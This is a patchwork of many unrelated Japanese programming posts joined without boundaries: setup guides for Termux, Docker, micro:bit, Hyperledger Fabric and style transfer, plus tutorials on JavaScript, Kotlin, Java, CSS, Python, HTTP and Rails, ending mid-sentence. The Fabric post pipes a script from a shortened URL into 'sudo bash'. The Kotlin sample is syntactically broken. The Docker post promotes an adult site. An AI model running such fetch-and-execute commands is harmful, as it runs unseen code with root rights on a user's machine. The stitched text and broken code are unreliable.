Playストアにて「termux」を検索し、Termuxをインストールします。
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/395902/f590bb01-15a8-b41d-36f7-dcf0aa7d46a6.jpeg" width="50%" height="50%" border="1"/>

Termuxを起動し以下のコマンドを実行します。

```
$ termux-setup-storage
$ apt update
$ apt upgrade
```

# Go言語とgitのインストール
Termuxから、Goとgitをインストール。

```
$ apt install -y golang git
```

# 動作確認
Termuxにhello-worldアプリをgitクローンし、実行します。

```
$ git clone https://github.com/quzquz/go-http-hello-world.git
$ cd go-http-hello-world
$ go run main.go
```
少し待つと「Listening on port 8080」と表示されます。
Androidの適当なwebブラウザを起動しurlに以下を入力します。
http://localhost:8080

ブラウザに「Hello world!」と表示されます。

停止するには、Termux上でctrl+dを入力します。
javascript学習①　20190410

#javascriptについて学習をする

```javascript.html
要素を全て読み込んで動作を加えたいため、
bodyタグの後半にscriptタグを書くことが一般的

<body>
    <div id="target" class="box"></div>

<script>
    'use strict';  

    document.getElementById('target').addEventListener('click', function(){
        document.getElementById('target').style.background = 'pink';
    });

    const target = document.getElementById('target')
</script>

document.getElementById('target')は要素をidで指定してgetする命令
.addEventListener('click', function(){〇〇}：何かをしたら何かの処理を行う（例）clickをした時にfunctionに記した動作を行う

fuctionには何個でも処理を追加することができる
document.getElementById('target').style.background = 'pink';getした要素に対して.で繋いで処理をかく

const hoge = 命令　で変数に置き換えることができる
<script>
for (let i=0;i<10;i++){
    if(i===num){
    }else{
    }
}
</script>
```
Dockerコマンド備忘録

#はじめに

機械学習やら色々な新しい事を実践的に試すべく
エロサイトを開発中。[モトダチ](http://motodachi.me/)
開発実践用にオープンしているので広告は入っておりませんのでお気軽にどうぞ。
色々工夫したアプリケーションの作りになっているのでレスポンスは速いはず。

備忘録としてdockerのコマンドをまとめてみます。

# Dockerコマンドまとめ
数多あるdockerコマンドの中で今のところ実際にデバッグや調査で使ったことのあるコマンドたちです。
CI/CDのツールとしてDockerを使う場合はdocker commit とかpushあたりのコマンドも必要になってくると思いますがそれはまた後々。

+ dockerのプロセス確認、コンテナ名、ID、ポートなどの情報表示
`docker ps`

+ コンテナ内に入る
`docker container exec -it [コンテナ名] bash`

+ コンテナ起動
`docker container start [コンテナ名]`

+ コンテナ停止
`docker container stop [コンテナ名]`

+ コンテナ再起動
`docker container restart [コンテナ名]`

+ コンテナのログ確認
`docker logs [コンテナ名]`

+ コンテナの詳細情報を表示
`docker inspect [コンテナ名]`

+ dockerネットワークの確認
`docker network ls`

+ ネットワークの詳細を確認
`docker network inspect [netowork Id]`



#最後に
最初に挙げた[モトダチ](http://motodachi.me/)でもdockerを使っています。


色々意見頂けると開発のモチベーションが上がります。
何かあればぜひコメント下さい。
micro:bitとMacをシリアル通信するまで

# はじめに
[micro:bit](https://microbit.org/ja/guide/)は教育用にも使われる安価なマイコンです。ウェブブラウザー上のブロックエディター、Javascript、Python、Scratchなどを使ってプログラムすることができます。
今回、micro:bitを初めて使うのと、Macでシリアル通信をするのが初めてだったので、記録を残しておきます。

# micro:bitとMacをUSBでつなぐ
はじめに、micro:bitとMacをUSBで接続します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/404447/ddc70802-9ff9-da3a-96bf-0fa8ba14785f.png)

接続すると、Finder上にMICROBITドライブが現れます。

# プログラムの作成
[ウェブブラウザ上のブロックエディター](https://makecode.microbit.org/#editor)を使ってmicro:bitに書き込むプログラムを作成します。ブロックを組み合わせて以下のようなプログラムを作成しました。

![スクリーンショット 2019-05-26 19.19.29.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/404447/45b760fc-2163-15d4-6266-14f83f2d2f39.png)

内容としては、シリアル通信で1秒毎に、ピッチ角、ロール角、温度を書き出すものです。
作成したものをダウンロードボタンを押してダウンロードし、ダウンロードした.hexファイルをMICROBITドライブにコピーしたら、プログラムの書き込みは終了です。

# ターミナルでシリアル通信
Macとつないだmicro:bitのデバイス名を調べます。

```Mac:bash
$ ls -l /dev/tty.*
crw-rw-rw-  1 root  wheel   18,   0  5 26 11:14 /dev/tty.Bluetooth-Incoming-Port
crw-rw-rw-  1 root  wheel   18,   6  5 26 18:48 /dev/tty.usbmodem141102
```

私の場合、usbmodem141102という名前のようです。

シリアル通信を始める。

```Mac:bash
$ cu -s 115200  -l /dev/tty.usbmodem141102
Connected.
pitch: 176
roll: -94
temp: 29
pitch: 177
roll: -94
temp: 29
pitch: 176
roll: -94
temp: 29
```

無事、1秒間隔でpitch, roll, tempが出力されました。
Permissionのエラーが出る場合はsudoを付けて実行しましょう。

シリアル通信をやめるときは、

`$ ~.`

です。

# 参考文献/URL
+ [Interface 2019年 6月号](https://shop.cqpub.co.jp/hanbai/books/MIF/MIF201906.html)
+ [【シリアル接続】Mac でシリアルコンソールを利用してみた](https://qiita.com/kobaboy/items/2e15805cf485de3ddf79)
+ http://frym.jp/?p=245
【Kotlin】ボタンのタップ領域のみを拡張する

ボタンのサイズを変えずにタップ領域のみを拡張するという要件を実装していてハマったので備忘録として記事に残します。

コードだけ知りたいという方はこの記事の最後の方に載せていますのでそちらを確認してください。

![タップ領域_expanded.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139470/a3be0109-c3de-1022-4f94-5705c576978e.png)


## どうやって実現するか

`TouchDelegate` を使って実装します。
[公式リファレンスはこちら](https://developer.android.com/reference/kotlin/android/view/TouchDelegate.html)

上記の公式レファレンスで
> Helper class to handle situations where you want a view to have a larger touch area than its actual view bounds.

と記載があるので今回の要件を実装する際の正攻法だと思います。
他にも良い方法がありましたらコメントで教えていただけると嬉しいです。

## TouchDelegate

`TouchDelegate` を使って何をしているかというと
「タップ領域を拡張したいView（この例だとボタン）の**祖先のView**に対して拡張したタップ領域（図のピンクの領域）を指定して、この領域内でタップイベントが発生した時の処理をタップ領域を拡張したいView（この例だとボタン）に委譲する」

→**ピンクの領域をタップした時の処理を、ボタンをタップした時の処理として扱う**

ということをやっています。
ここでの注意点は、*ピンクの領域を指定する祖先のViewにクリック処理を実装していた場合、ピンクの領域をタップしてボタンの処理が実行された後祖先のViewのクリックイベントが反応しなくなるという点です。*

## TouchDelegateを使ってみる
前置きが長くなりましたが実際に `TouchDelegate` を使ってみます。
ピンクの領域は祖先のViewに対して指定できるので、ボタンから見て階層が上のViewであれば利用できるのですが、個人的には親のViewに対して指定するのが良いかなと思います。
何故かというと、
#### ピンクの領域の座標をTouchDelegateを指定する祖先のViewからの相対座標で指定する必要があるからです。
![注意点.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139470/46107721-057c-2765-5459-c4bc66c7420a.png)

※実際にタップ領域を拡張する時は `ConstraintLayout` や `FrameLayout` に対して指定する場面が多いと思うので親ViewGroupとしてますがViewでも大丈夫です。

## コード
コードはこんな感じになります。

```kotlin:ViewEx.kt
func View.expandTapArea() {

    val parentViewGroup = this.parent as ViewGroup
    parentViewGroup?.post {

        val rect = Rect() // <- ピンク領域のRect
        
        // ピンク領域のRectを生成

        parentViewGroup.touchDelegate = TouchDelegate(rect, this)
    }
}

// 使い方
button.expandTapArea()
```

以上です。
php-master-changes 2019-05-25

今日は libffi の最低要求バージョン指定の追加、valgrind 検出の pkg-config への移行と with-valgrind と with-pcre-valgrind の統合、バンドルしている PCRE2 を 10.33 へ更新する修正があった！

# 2019-05-25
## petk: Define minimum required libffi version
- https://github.com/php/php-src/commit/e7a1409fe1c13a7619c1834956d4c3607909c96b
- [7.4~]
- ext/ffi で、config.m4 に libffi の最低要求バージョンの指定を追加

## hughmcmaster: Use PKG_CHECK_MODULES to detect valgrind, and share build config with pcre
- https://github.com/php/php-src/commit/ef34e00df34f88c852baac84ad1428d4360c6d06
- [7.4~]
- valgrind の検出を pkg-config へ移行し、with-valgrind と with-pcre-valgrind を統合

## weltling: Upgrade bundled PCRE2 to 10.33
- https://github.com/php/php-src/commit/aa9433e9286801a6af6d4cee73d9a165a61e0e3b
- [7.4~]
- バンドルしている PCRE2 を 10.33 へ更新
Hyperledger Fabricを使ったコミュニティ内仮想通貨構築 1日目

#やりたいこと
とあるコミュニティで仮想通貨を運営したい。
次いでにお礼も言えたら素敵だと思い
簡単にコインと一言メッセージを送れる
そんな仕組みを作って、永久的に保存したい。

**お礼が永久にブロックチェーンに組み込まれるって素敵じゃないですか？**

##開発ツール
今個人的に熱いのは以下

**・ハイパーレッジャーファブリック**
amazon(AWSブロックチェーン)の連携がある。
ナレッジが豊富

**・ハイパーレッジャーいろは**
2019年5月1日に商用利用ができるようになった。
アプリ開発との連携がすごい。
本人認証で取得している特許とか気になる。

**・イーサリアム(スマートコントラクト)**
市場的には熱い。実際の仮想通貨のと連携がある。
（そのためトランザクション料が発生する）
イーサリアムはスマートコントラクトに
致命的なバグがあると言われている。


**・ADA(スマートコントラクト)**
個人的に仮想通貨の中では一番熱い。
今後は市場を獲得していく通貨だと思っているので
2つのツールPlutus（プル―タス）とMarlowe（マーロウ）が
本格的になったらこっちでいろいろ開発したい。


今現在 ナレッジが豊富なので
**ハイパーレッジャーファブリックを使うことにしました。**

#サーバ
AWS、lightsailにてサーバ用意
OSのみ Ubuntu 18.04 にて
SSH 接続できるようにしてください。
サーバの用意(サーバが4台必要らしいですが、docker で全部構築するので1台だけ契約)
スペック的に難しいかもしれませんが、気にしないでいきます。
難しければスケールアップで対応する予定です。
ggr[lightsail Ubuntu 18.04]


##導入条件
自分の環境に合わせて変更してください。
cURL　最新をインストールしてないと
ggr「Ubuntu 18.04 cURL 最新」

**docker 17.06.2-ce より新しいもの**
ggr「Ubuntu 18.04　docker ce 最新」

**docker-compose 1.14.0より新しいもの**
ggr「Ubuntu 18.04　docker-compose 最新」

**Goバージョン1.11.x**
ggr「Ubuntu 18.04　Go 1.11」

**Node.js(8.xじゃないとダメ)**
ggr「Ubuntu 18.04　Node.js 8」

**NPM（Node.jsと一緒にインストールされるバージョンを公式に合わせる）**
「npm install npm@5.6.0 -g」

(windows for docker使っている方 
Ubuntu 16.04を使っている方は 別途やることがあります。)


###インストールスクリプトの実行
私はvar配下にファイルを作成しました。
```
cd /var/
sudo mkdir fabric
sudo chmod 755 fabric
cd fabric
```

一括インストールの実行
```sodo curl -sSL http://bit.ly/2ysbOFE |sudo bash -s```
※インストールするバージョンを指定する場合は、
引数にバージョンを記載してください。
時間がかかります。

パスを通す
```export PATH=/var/fabric/fabric-samples/bin:$PATH```

[以下参照](https://hyperledger-fabric.readthedocs.io/en/release-1.4/prereqs.html)
AWSのGPU環境でスタイル変換を試してみた

# ■ 検証環境(AWS)
- リージョン：米国東部(バージニア北部):
- AMI：Deep Learning AMI (Ubuntu) Version 23.0 - ami-0bc213dc857866046
- インスタンス：p2.xlarge(NVIDIA K80 GPU)
- ストレージ：100 GB(汎用SSD(gp2))

# ■ 環境設定
- Deep Learning AMIには深層学習フレームワーク等が事前にインストールされているため，ユーザによる設定は不要
- ⇒フレームワークを選択することで使用可能になる
 - 今回はTensorFlow(python2系)を利用

```
$ source activate tensorflow_p27
```

# ■ スタイル変換の動作検証
- 使用したソースコード：https://github.com/lengstrom/fast-style-transfer

## 〇STEP.1 モデル作成

- 不足パッケージの導入

```
$ pip install moviepy
```

- ソースコードのダウンロード

```
$ git clone https://github.com/lengstrom/fast-style-transfer.git
$ cd fast-style-transfer/
```

- 学習用イメージのダウンロード
 - data/train2014に保存される

```
$ ./setup.sh
```

- モデル作成
 - styleはexampleフォルダ内のthe_scream.jpgを使用
 - 計算時間は7時間程度  

```
$ python style.py --style example/style/the_scream.jpg \
   --train-path　data/train2014 \
   --checkpoint-dir checkpoint/ \
   --test examples/content/chicago.jpg \
   --test-dir examples/content
```

- 出力ファイル：
 - checkpoint                   
 - fns.ckpt.index  
 - fns.ckpt.meta 
 - fns.ckpt.data-00000-of-00001

## 〇 STEP.2 スタイル変換

- STEP.1で計算したモデルを使用して変換処理を実施 

```
$ python evaluate.py --checkpoint-dir checkpoint --in-path input.jpg --out-path output.jpg
```

- 動画を変換する場合は以下を実施

```
$ python transform_video.py --checkpoint-dir checkpoint --in-path input.mp4 --out-path output.mp4
```

- 学習済みモデルは以下から取得することもできる
 - https://drive.google.com/drive/folders/0B9jhaT37ydSyRk9UX0wwX3BpMzQ
- 計算時間は数秒程度
 - 変換処理は非GPU環境でも実施可能

# ■ スタイル変換結果
- 元画像：
 - <img width="300" alt="image.jpg" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/278224/c5b900b0-bef8-6b68-b2f5-d4108f9881ee.jpeg">

--- 
- スタイル変換後：
 - <img width="300" alt="sample1.jpg" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/278224/ff83c335-6f00-0707-8008-17e40149e93c.jpeg">
<img width="300" alt="sample2.jpg" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/278224/b1a9e04d-137d-f756-5000-3c693979bc91.jpeg">
 - <img width="300" alt="sample3.jpg" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/278224/3260da41-d852-c4a6-c400-dafeabd9480d.jpeg">
<img width="300" alt="sample4.jpg" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/278224/f6c82be3-bd43-708b-fa91-080cbb7133b0.jpeg">
 - <img width="300" alt="sample5.jpg" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/278224/cab59d5a-9bef-f869-90fc-b4e4d5d3303a.jpeg">
<img width="300" alt="sample6.jpg" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/278224/5e2e1379-7e22-1bd4-5d1e-509de07321a9.jpeg">
【Java初学者】抽象化とインターフェースについて

##概要
**抽象化**と**インターフェース**の復習として投稿させて頂きます。

##抽象化
上位モジュールにおいて、下位モジュールに共通実装するメソッドや変数を宣言し、実装は下位モジュールに任せる。
また、抽象化したクラスはインスタンス生成を行えない。

**・抽象化を行うことのメリット**
- オーバーライドのし忘れ防止
- 何もしない処理との区別をつける
- 意図しないインスタンス生成の防止

```Human.java
public abstract class Human{
  private String name;
  public Human(String name){
    this.name = name;
  }
  public String getName(){
    return name;
  }
  public void setName(String name){
    this.name = name;  
  }
  //共通したメソッドを宣言し実装は下位モジュールに任せる
  public abstract void talk();
  //何もしないメソッド
  public void tmp(){}
}
```

```Japanese.java
public class Japanese extends Human{
  public Japanese(String name){
    super(name);
  }
  @Override
  public void talk(){
    System.out.println("こんにちは");
  }
}
```

```American.java
public class American extends Human{
  public American(String name){
    super(name);
  }
  @Override
  public void talk(){
    System.out.println("Hello");
  }
}

```

```Main.java
public class Main{
  public static void main(String[] args){
    //Human human = new Human("山田太郎");
    //インスタンス生成出来ない為、コンパイルエラー

    Japanese jp = new Japanese("山田太郎");
    jp.talk();    //こんにちは
    American en = new American("TaroYamada");
    en.talk();    //Hello

  }
}
```

##インターフェース
インターフェースでは、抽象化と同様共通実装するメソッドを宣言し、インターフェースを継承したクラスに実装を任せることが出来る。しかし、フィールドに関しては抽象クラスと扱いが異なる。

**インターフェースの特徴**
- 基本的にフィールドは一つも持たない
- 全てのメソッドは抽象メソッドとなる。

インターフェースにおいて基本的にフィールドを実装することは許されていないが、**public static final**がついたフィールドだけは宣言することが出来、インターフェースに型名から変数宣言を始めると自動的に付加される。再代入不可の**final**修飾子が付いているため、変数宣言と同時に初期化を行う必要がある。

また、メソッドに関して、インターフェースに宣言できるメソッドは**public**かつ**abstract**なものに限定され、戻り値の型から宣言した場合は自動的に付加される。

```Creature.java
public interface Creature{
  //public static final double PI = 3.14;
  double PI = 3.14; // 自動的にpublic static finalな変数となる。
  
  //public abstract void breath();
  void breath();  //自動的にpublic abstractなメソッドとなる。
}

```

##まとめ
未だ、継承を用いた開発経験が少ないため、メリットの恩恵を受けづらいというのが正直な感想。
~git~ヘルスケアwebサービスを自分で作る医者の日記

'''
To github.com:shutainer/hello_app.git
 ! [rejected]        master -> master (non-fast-forward)
error: failed to push some refs to 'git@github.com:shutainer/hello_app.git'
hint: Updates were rejected because the tip of your current branch is behind
hint: its remote counterpart. Integrate the remote changes (e.g.
hint: 'git pull ...') before pushing again.
hint: See the 'Note about fast-forwards' in 'git push --help' for details.
'''

再びプッシュできない
[Qiita](https://www.softel.co.jp/blogs/tech/archives/3569)
gitの先端 云々、pull やmerge等でなんとかなると思うのだが
gitの仕組みを理解していないため、わからん
css animation 時間差で表示したい

初心者ですが、習得したことを少しづつ発信していこうと思います。
class名は任意に設定してください。

#目標　

https://saruwakakun.design/ 
のページ読み込みの1s後に出てくるNEWというアラートっぽいメッセージをjavascriptではなく、cssだけで出したい。

#解決策

@keyframes/ の記述で <b>opacity:0</b> を設定してアニメーションが始まるまで見えなくすることが肝？
また <b>transform: scale();</b> でバウンドっぽいアニメーションを効かせている。

```html:index.html

<div class="new-animation">NEW</div>
```

```css:style.css
.new-animation {
    background-color: #ffb36b;
    position: absolute;
    top: 13px;
    right: 10px;
    width: 37px;
    height: 37px;
    border-radius: 8px;
    color: #fff;
    font-size: 13px;
    font-weight: bold;
    text-align: center;
    line-height: 37px;
    transform-origin: 50% 50%;
    animation: animScale 0.5s both; //--animScaleは任意の引数--//
    display: inline-block;
    animation-delay: 1.5s;
}
@keyframes animScale {
    0% {
        opacity: 0;
        transform: scale(0);
    }
    25% {
        opacity: 1;
        transform: scale(0.8);
    }
    40% {
        transform: scale(1.1);
    }
    60% {
        transform: scale(0.9)
    }
    80% {
        transform: scale(1.05);
    }
    100% {
        transform: scale(1);
    }
}
```

※なにか間違っているところがあれば、ご指摘お願いします。
設計書の作成方法

Web開発の現場で、設計書がほとんどない開発が多かったので、直近の現場で得た設計書作成方法を備忘録としてまとめました。

## 設計書の分類
設計書は大きく分けて以下のような分類となります。

 - 00.管理
  - スケジュール
  - 体制図
  - 議事録
  - QAシート
 - 10.要件定義
  - 要件定義書
 - 20.基本設計
  - システム設計書
  - DB定義書
  - 画面設計書
  - バッチ設計書
 - 30.詳細設計
  - 〇〇バッチ設計書
  - △△画面設計書
 - 40.製造
  - ソース
  - ストアド、ジョブ、バッチ
  - DDL・DML
 - 50.単体テスト
  - 単体テスト仕様書
  - 単体テストエビデンス
  - 単体テスト障害管理
 - 60.結合テスト
 - 70.総合テスト
 - 80.移行設計
  - 移行設計書
  - 移行手順書
 - 90.運用設計書

## 設計書の作り方
基本的にExcelで作成し、印刷設定を考慮して作成していく。
設計書には共通して、下記のシート、ヘッダーを作成する。
設計書は基本的にセル幅、セル高さを揃えておき、必要であれば適宜調整。（印刷時の設定を考慮する）

### 共通シート
 - [表紙]
   - システム名
   - フェーズ
   - 設計書名
   - バージョン
   - 作成日
   - 作成者
   - 会社名
   - 部署名

 - [改訂履歴]
   - | バージョン | 更新日 | 担当者 | 承認者 | 改定内容 |
 - [目次]
   - | シート名 | 概要 |

### 共通ヘッダー
シート上部のヘッダーに下記項目を共通で設定する。

- フェーズ
- システム名
- サブシステム名
- 機能名(シート名)
- 作成日
- 作成者
- 更新日
- 更新者

### 10.要件定義
####要件定義書
 - 概要
  - XXXXXからXXXの申込を行なう。
  - サービス提供時間：9:00　～　21:00
  - 提供商品：XXXXX
  - システムフロー
 - 機能要件
  - 店舗の登録・設定更新、申込状況確認、お客様控の再出力
  - 利用者：一般ユーザー、代理店、
 - 非機能要件
  - データ量：1日 50件 50×365 = 年 18250件　5年間 91250件  
    10MB × 91250 = 912.5 GB
  - 同時アクセス数（セッション数）：50件 / 12h = 4/1h
  - セッション保持時間：2h

### 20.基本設計書
#### システム設計書
 - [概要]
  1. 概要
  2. システム構成一覧
     - 各AP、DB、他サーバーの構成、アーキテクチャ、バージョン
     - | システム名 | 種類 | OS | バージョン |
  3. システム構成図

#### DB設計書
A5M2でテーブル・ビューは簡単に出力できる。

 - [概要]
 - [コード値マスタ]
 - [ストアド一覧]
 - [〇〇ストアド]
 - [テーブル一覧]
 - [〇〇テーブル]

#### 画面設計書
 - [概要]
  1. 概要
  2. 画面一覧
     - | 画面ID | 画面名 | 概要 |
  3. [画面遷移図]

#### バッチ設計書
 - [概要]
  1. 概要
  2. バッチ一覧
     - | バッチID | バッチ名 | 概要 | トリガー | 実行方法 |
  3. [バッチ実行図]

### 30.詳細設計書
#### 〇〇バッチ設計書
 - [概要]
   1. 概要
   2. 入出力関連図
     - (XXXDB)→[処理]→[xxxx.csv]
   3. 入出力一覧
     - | システム名 | IN/OUT | データ区分 | 論理名 | 物理名 |
 - [処理詳細]
  - | 処理フロー図 | 処理詳細 |
 - [XXX情報取得SQL]
 - [XXX情報CSV]

### 50.単体テスト
#### 〇〇バッチ_単体テスト仕様書
 - [テスト項目]
    テスト項目数、設計書を記載しておく。
    - 結果集計	
      - | 項目数 | OK | NG | NA | 保留 | 計 |
    - | クラス | メソッド | 引数 | 試験手順① | 試験手順② | 結果・確認内容 | 結果 | 障害No | 実施者 | 実施日 | 環境 | 備考 |

#### 単体テスト障害管理票
 - | タイトル | 記載日 | 起票者 | 対象テスト仕様書 | 試験項番 | 発生 | 原因 | 対応 | 担当者 | ステータス | 完了日 | 

### 60.結合テスト仕様書
データパターンを作成して実施する。
日付×住所エリア×プラン×オプション×払込方法の全パターンなど

 - [テスト項目]
   - テスト項目数、設計書を記載しておく。
   - | 大項目 | 中項目 | 小項目 | 試験手順① | 試験手順② | 結果・確認内容 | 結果 | 障害No | 実施者 | 実施日 | 環境 | 備考 |


### 80.移行設計
#### 移行設計書
DB一覧、テーブル一覧、カラム一覧、に対しての移行要否と要件を整理、

 - [概要]
   1. 概要
   2. DB一覧
      - | 論理名 | 物理名 | 移行要否 | 移行要件 |
   3. テーブル一覧
      - | 論理名 | 物理名 | 移行要否 | 移行要件 |
 - [XXXDB]
    - カラム一覧
      - | 論理名 | 物理名 | 移行要否 | 移行要件 |

####移行手順書
 - [概要]
   1. 概要
   2. 移行資材（DDL・DML）
      - | ファイル名 | 論理名 | 処理詳細 |
 - [移行手順]
   - | 移行手順フロー図 | 移行手順詳細 |
 - [XXX情報取得SQL]
 - [XXX情報CSV]
型について

前回:https://qiita.com/New_enpitsu_15/items/1b0f404b0ade21dbe2cd
次回:
目次:https://qiita.com/New_enpitsu_15/private/479c69897780cabd01f4

ここまで読んできて、気付いたことがあると思います。
”データに種類がある”
それは現実でも同じことですが、Pythonにおいて意外と重要な概念です。
現実ならば、人間が勝手にデータの種類を推測すればいいだけですが、

Pythonはプログラミング言語ですので、受け取り方によって解釈が変わってしまっては困ってしまいます。
そこで、”型”というものを使いデータの種類を確定しています。

#型

例えば、今まで出てきた
”文字列”と”整数”で話してみましょう。
前回の記事で最後のほうに出てきた

```Python
str(1)
int("1")
```

を思い出してください。
この括弧の前についている`str`と`int`。
これが文字列と整数の型の名前です。

```Python
"1"
1
```

といった書き方はシンタックスシュガー（簡単な書き方）であり
本来型を表す場合は、
`型名(データ)`という形で書いてあげなければなりません。

※文字列や整数などを`str()`,`int()`などで囲うべきという話ではなく、本来はこういう記述をしますよという話です。特に訳がなければ`str()`,`int()`で囲う必要はありません。シンタックスシュガーは積極的に使用すべきです。

#型の確認

データの型を確認するには、__type()__関数を使用します。
例えば、

```Python
type(1) #<class int>
type("1")#<class str>
```

などと使用することができます。
ただし、type関数が返してくれる値は__str型ではありません__

```Python

type(type(1))#<class type>
```

type型…？どういうことなの…？
これはPythonのかなり深いところまで踏み込まなければ理解できません。
詳しく知りたい方は一連の記事でも説明する予定ですので
少々お待ちいただければ。

待ちきれない！！という方はPythonの`class`について調べてみましょう。
ついでにclassについて理解したが、それでも`type型`が何者かわからない人には、
type関数で動的にクラスを定義できる。という情報をお渡ししておきましょう。

#整数と小数？

先ほどから今まで数値と呼んでいたもののことを__”整数”__と言っていますが、
じゃあ小数は？
実は整数とは型が違うのです。小数は`float`型といい、整数と表示が違います。

```Python
1   #int(整数)型
1.0 #float(小数)型
```

ですが、普段からこれを意識する必要はないでしょう。

#終わりに

これからどんどんプログラミングっぽくなります。

ここが分からないんだよなぁ…ということがあればコメントください。
これは初心者向けの記事。間違えてあたりまえなのですからあまり気構えずにどうぞ。
Vueとchart.jsで気軽に神グラフ作れるクソアプリ作った

# やったこと

神グラフジェネレータ
https://k-karen.github.io/vue-chartjs-sample/
Vue.js + vue-chartjs + git hub-pages ( + Vuetify ) 　
で簡単なグラフ(折れ線・円・棒)を書けるSPAを作りました。
リポジトリ: https://github.com/k-karen/vue-chartjs-sample

## 神グラフ とは

先日、Twitterで話題になった年収400万円と800万円の比較のグラフや、
古からネタになっているWindowsのversionのグラフなどの割とシンプルなグラフのことです。

サンプル
<div>
<img width=50% src=https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/224e5424-e19d-ea61-4ea6-97a8d240e653.png><img width=50% src=https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/d137e7db-3836-057e-7e94-dc3e97655770.png>
</div>

## 使い方

① - 各行を削除できます(入れ替え機能は実装していません)
② - 表示(⑦)した画像が表示されるエリア、`画像を非表示にする` で非表示にできます
③ - 行を追加できます
④ - このボタンの左側のcolorのinput formに入れた色で色を統一できます
⑤ - すべての行色をランダムに振り直します
⑥ - localStorageにグラフを保存します。上のドロップダウンリストから読込めます
⑦ - pngでページ右側(画面が狭いとページ下部)にグラフを出力します
⑧ - 選択中のlocalStorageのデータを削除します
⑨ - グラフのタイプ(棒/折れ線/円) を切り替えられます(フォームのデータは消えます)

<img width="824" alt="スクリーンショット 2019-05-26 17.09.19.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/3ec2e841-5dad-ffd8-59c1-541688dd7a04.png">

上限・下限は、そのフォームの値よりも上の項目の値の最大・最小値が優先されます。  
グラフの上限 = max(項目の上限, 上限フォームの値)
グラフの下限 = min(項目の下限, 下限フォームの値)

## 使用例
一度ホーム画面に追加すればオフラインでも使用でき、
localStorageを利用してSaveもできるので、
いつでもご自身のスマホにクソグラフネタを蓄積することができます。
<div>
<img width=50% src=https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/6d66718a-3d6b-938a-db0a-1efc68a6d7fd.png><img width=50% src=https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/2b2df0db-2408-bc05-f283-77da5a5e4364.png>
</div>

## 参考リンクなど

### Vue.js, git hub-pages
親コンポーネントと子コンポーネントの双方向バインディング
https://qiita.com/Sa2Knight/items/544b3f157108b96033fe
(折れ線グラフの色だけ、rgbaで受け取れるようにしたのですが、
そのcomponentを作るときに参考にしました)

travisでgh-pagesへ自動デプロイ
https://qiita.com/dorarep/items/010a8a7c278ff0107520
(記事はnuxtのものですが、vueでも設定することはほとんど同じでした)

自分の記事です(vue.config.jsを設定しようねという記事)
https://qiita.com/k-karen/items/9c8b38f54509369c5946 

### vue-chartjs 
vue-chartjs
https://vue-chartjs.org/
componentの呼び方使い方だけはこれを見ればわかります

chartjs
https://www.chartjs.org/
実際は入力した数値以外にもoptionをあれこれ設定しているのですが、
optionについてはvue-chartjsのサイトにはあまり詳しく乗っていないので、
chartjsの方を参考にするか、都度ググりました。

### 最後に
実装内容を紹介しようと思ったのですが(特別なことはあまりないので)、
コードが汚すぎてキツかったので、諦めました。
作ったものをデプロイして公開するのは初めてなので、至らぬ点あるかと思いますが、
不具合などあればご報告いただければ力の及ぶ範囲では修正したいと思います。
皆様も積極的に数値を可視化し神グラフを量産、
最高の神グラフライフをお送りいただければと思います。
ここまで読んでくださった方々ありがとうございました。
HTTPを理解する④ ステータスコードとヘッダとボディ

HTTPメッセージは以下の複数行のデータから構成されています。
![HTTPメッセージ.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/308896/385a87cd-fbfc-16e3-3cea-857ec83a3b96.png)

スタートラインに関しては異なり、HTTPリクエスト時はリクエスト行、HTTPレスポンスではステータス行と呼ばれます。
ステータスラインは構成として三つに分けれます。

```
HTTP/1.1 200 OK
```

左からプロトコルバージョン、ステータスコード、テキストフレーズで成り立っています。ここで重要なのがステータスコードです。レスポンスに間違ったステータスコードを渡してしまうとクライアントがその後どんな操作をすればいいかわからなくなってしまいます。

## ステータスコード
webブラウザからリクエストが送られ、サーバーがそれに対してレスポンスを返します。このとき、HTTPメッセージのスタートライン行にはリクエストに対する処理結果が3行の数字で表現されます。この3行の数字をステータスコードといいます。ステータスコードは処理内容によって100番台から500番台の5つで分類されています。

### 100番台 処理中
処理がまだ継続していることを示します。

### 200番台 成功
リクエストが成功したことを示します。

### 300番台 リダイレクト
ほかのURLにリダイレクトすることを示す。このステータスコードを受け取るとレスポンスメッセージのLocationヘッダを参照して、そのURLのページに移動する。

### 400番台 クライアントエラー
クライアント側のエラーを示す。「404 Not Faund」はクライアントエラーとして一般的によく表示されることが多いステータスコード。

### 500番台 サーバーエラー
サーバーエラーを示し、サーバー側の問題を解決しないと正常な結果が得られない。サーバーに高負荷がかかったときによく表示される。

## メッセージヘッダ
HTTPメッセージに関する詳細なことはメッセージヘッダに書かれています。クライアントやサーバーはこのメッセージヘッダを見て、メッセージに対す挙動を決めます。メッセージヘッダは複数の「ヘッダフィールド」からなりたっています。

## メッセージボディ
バイナリデータ(コンピュータが扱うデータ全般)が入ります。例えばリクエスト時はPOSTメソッドが実行されたとき、パラメータが入ります。レスポンスではHTMLが含まれたりします。
Rails Tutorial（2週目）-6-

#Railsはリレーショナル・データベース(RDB)を使う
>リレーショナルデータベースとは、事前定義された、関連があるデータ項目の集合体です。 この項目は、列と行を持つテーブルのセットとして構成されます。

このデータベースの縦列の事を、***カラム***という

##モデルの作成
`$rails generate model User name:string email:string`
コントローラ名には複数形を使い、モデル名には単数を使うという慣習がある
（参考）
`$rails generate controller Users new`

上のコマンドによってマイグレーションファイルが作成されるので、
`$rails db:migrate`
でマイグレーションの適用を行う

あとからカラムの追加などを行いたいときは、
